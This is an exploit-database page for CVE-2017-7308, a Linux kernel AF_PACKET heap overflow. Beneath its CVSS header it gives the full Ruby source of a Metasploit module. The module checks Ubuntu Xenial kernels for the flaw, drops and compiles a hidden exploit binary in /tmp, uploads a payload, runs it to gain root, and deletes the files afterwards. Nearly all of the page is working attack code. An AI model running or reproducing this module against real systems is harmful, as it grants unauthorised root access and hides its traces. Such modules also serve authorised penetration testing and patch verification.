AF_PACKET packet_set_ring Privilege Escalation

2018.05.18
Credit: Brendan Coles
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-264


CVSS Base Score: 7.2/10
Impact Subscore: 10/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Post::Linux::Kernel include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'AF_PACKET packet_set_ring Privilege Escalation', 'Description' => %q{ This module exploits a heap-out-of-bounds write in the packet_set_ring function in net/packet/af_packet.c (AF_PACKET) in the Linux kernel to execute code as root (CVE-2017-7308). The bug was initially introduced in 2011 and patched in version 4.10.6, potentially affecting a large number of kernels; however this exploit targets only systems using Ubuntu Xenial kernels 4.8.0 < 4.8.0-46, including Linux distros based on Ubuntu Xenial, such as Linux Mint. The target system must have unprivileged user namespaces enabled and two or more CPU cores. Bypasses for SMEP, SMAP and KASLR are included. Failed exploitation may crash the kernel. This module has been tested successfully on Linux Mint 18 (x86_64) with kernel versions: 4.8.0-34-generic; 4.8.0-36-generic; 4.8.0-39-generic; 4.8.0-41-generic; 4.8.0-42-generic; 4.8.0-44-generic; 4.8.0-45-generic. }, 'License' => MSF_LICENSE, 'Author' => [ 'Andrey Konovalov', # Discovery and C exploit 'Brendan Coles' # Metasploit ], 'DisclosureDate' => 'Mar 29 2017', 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'References' => [ [ 'EDB', '41994' ], [ 'CVE', '2017-7308' ], [ 'BID', '97234' ], [ 'URL', 'https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html' ], [ 'URL', 'https://www.coresecurity.com/blog/solving-post-exploitation-issue-cve-2017-7308' ], [ 'URL', 'https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-7308.html', ], [ 'URL', 'https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-7308/poc.c' ], [ 'URL', 'https://github.com/bcoles/kernel-exploits/blob/cve-2017-7308/CVE-2017-7308/poc.c' ] ], 'DefaultTarget' => 0)) register_options [ OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]), OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), ] end def base_dir datastore['WritableDir'].to_s end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." write_file path, data end def upload_and_chmodx(path, data) upload path, data cmd_exec "chmod +x '#{path}'" end def upload_and_compile(path, data) upload "#{path}.c", data gcc_cmd = "gcc -o #{path} #{path}.c" if session.type.eql? 'shell' gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}" end output = cmd_exec gcc_cmd unless output.blank? print_error output fail_with Failure::Unknown, "#{path}.c failed to compile" end cmd_exec "chmod +x #{path}" end def exploit_data(file) path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2017-7308', file fd = ::File.open path, 'rb' data = fd.read fd.stat.size fd.close data end def live_compile? return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True') if has_gcc? vprint_good 'gcc is installed' return true end unless datastore['COMPILE'].eql? 'Auto' fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.' end end def check version = kernel_release unless version =~ /^4\.8\.0-(34|36|39|41|42|44|45)-generic/ vprint_error "Linux kernel version #{version} is not vulnerable" return CheckCode::Safe end vprint_good "Linux kernel version #{version} is vulnerable" arch = kernel_hardware unless arch.include? 'x86_64' vprint_error "System architecture #{arch} is not supported" return CheckCode::Safe end vprint_good "System architecture #{arch} is supported" cores = get_cpu_info[:cores].to_i min_required_cores = 2 unless cores >= min_required_cores vprint_error "System has less than #{min_required_cores} CPU cores" return CheckCode::Safe end vprint_good "System has #{cores} CPU cores" unless userns_enabled? vprint_error 'Unprivileged user namespaces are not permitted' return CheckCode::Safe end vprint_good 'Unprivileged user namespaces are permitted' if kptr_restrict? && dmesg_restrict? vprint_error 'Both kernel.kptr_restrict and kernel.dmesg_destrict are enabled. KASLR bypass will fail.' return CheckCode::Safe end CheckCode::Appears end def exploit if check != CheckCode::Appears fail_with Failure::NotVulnerable, 'Target is not vulnerable' end if is_root? fail_with Failure::BadConfig, 'Session already has root privileges' end unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true' fail_with Failure::BadConfig, "#{base_dir} is not writable" end # Upload exploit executable executable_name = ".#{rand_text_alphanumeric rand(5..10)}" executable_path = "#{base_dir}/#{executable_name}" if live_compile? vprint_status 'Live compiling exploit on system...' upload_and_compile executable_path, exploit_data('poc.c') rm_f "#{executable_path}.c" else vprint_status 'Dropping pre-compiled exploit on system...' upload_and_chmodx executable_path, exploit_data('exploit') end # Upload payload executable payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}" upload_and_chmodx payload_path, generate_payload_exe # Launch exploit print_status 'Launching exploit...' output = cmd_exec "#{executable_path} #{payload_path}" output.each_line { |line| vprint_status line.chomp } print_status 'Deleting executable...' rm_f executable_path Rex.sleep 5 print_status 'Deleting payload...' rm_f payload_path end end


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